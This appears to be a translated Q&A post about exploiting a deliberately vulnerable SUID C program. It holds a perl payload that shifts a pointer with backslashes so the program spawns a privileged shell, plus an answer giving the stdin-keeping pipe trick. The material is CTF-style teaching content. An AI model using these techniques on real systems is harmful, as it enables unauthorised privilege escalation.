4

我正在尝试利用 SUID 程序。

该程序是:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
    int i;
    printf("[ ");
    for(i=0; i < len; i++) printf("%x ", buf[i]); 
    printf(" ]\n");
}

int main()
{
    unsigned char buf[512];
    unsigned char *ptr = buf + (sizeof(buf)/2);
    unsigned int x;

    while((x = getchar()) != EOF) {
            switch(x) {
                    case '\n': print(buf, sizeof(buf)); continue; break;
                    case '\\': ptr--; break; 
                    default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
            }
    }
    printf("All done\n");
}

我们可以很容易地看到,如果我们以某种方式将 ptr 的内容更改为以 CA 开头的某个地址,那么将为我们生成一个新的 shell。由于 ptr 通常保存一些以 FF 开头的地址,因此减少它(ptr)的方法是输入 \ 字符。所以我制作了一个包含 0x35000000 '\' 字符的文件,最后在文件末尾添加了 3 个 'a'

perl -e "print '\\\'x889192448" > file     # decimal equivalent of 0x35000000
echo aaa > file        # So that e() is called which actually spawns the shell

最后在 gdb 中,

run < file

然而,而不是产生一个外壳 gdb 是说

process <some number> is executing new program /bin/dash
inferior 1 exited normally

然后返回 gdb 提示符而不是获取 shell。我通过在适当的位置设置断点来确认 ptr 在调用 setresuid() 之前确实以 CA 开头。

此外,如果我在 gdb 之外通过管道传输,则不会发生任何事情。

./vulnProg < file

Bash 提示返回。

请告诉我我在哪里犯错。

4

1 回答 1

5

您可以通过编译一个更简单的测试程序来查看问题

int main()  { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }

所做的只是启动一个 sed 版本(而不是 shell)并通过添加“XXX:”来转换输入。

如果你运行生成的程序,并在终端中输入,你会得到如下行为:

$./a.out 
Hello
XXX:Hello
Test
XXX:Test
^D

这正是我们所期望的。

现在,如果你从包含“Hello\nWorld”的文件中输入它,你会得到

$./a.out < file 
XXX:Hello
XXX:World
$

并且应用程序立即退出,当输入文件全部被读取时,应用程序的输入流被关闭。

如果你想提供额外的输入,你需要使用一个不破坏输入流的技巧。

{ cat file ; cat - ; } | ./a.out

这会将文件中的所有输入放入运行中./a.out,然后从标准输入中读取并添加。

$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test
于 2015-06-23T01:29:40.600 回答